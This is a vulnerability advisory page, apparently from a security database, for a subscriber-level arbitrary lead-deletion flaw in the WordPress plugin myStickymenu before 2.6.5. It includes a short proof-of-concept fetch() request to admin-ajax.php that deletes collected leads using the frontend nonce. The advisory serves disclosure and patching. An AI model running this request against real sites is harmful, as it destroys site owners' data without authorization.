Lucene search

K

myStickymenu < 2.6.5 - Subscriber+ Arbitrary Form Leads Deletion

🗓️ 27 Oct 2023 00:00:00Reported by Krzysztof ZającType 
wpexploit
 wpexploit
👁 73 Views

myStickymenu v2.6.5 - Subscriber+ Arbitrary Form Leads Deletio

Show more
Related
Code
1. Visit myStickymenu > + Create new Welcome Bar. Ensure "Collect leads" is enabled, enable the toggle at the top, and Save.
2. In a logged-out window, fill the lead form in the sticky bar. As an admin, confirm that a lead has been generated, and take note of the ID.
3. Log in as a subscriber and visit the frontend. Run the following code, replacing LEAD_ID with the ID of the generated lead from the previous step.

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": 'action=my_sticky_menu_bulks&bulks[]=3&wpnonce=' + welcomebar_frontjs.ajax_nonce,
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

3. See that the lead has been deleted.

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
27 Oct 2023 00:00Current
6.7Medium risk
Vulners AI Score6.7
EPSS0.001
73
.json
Report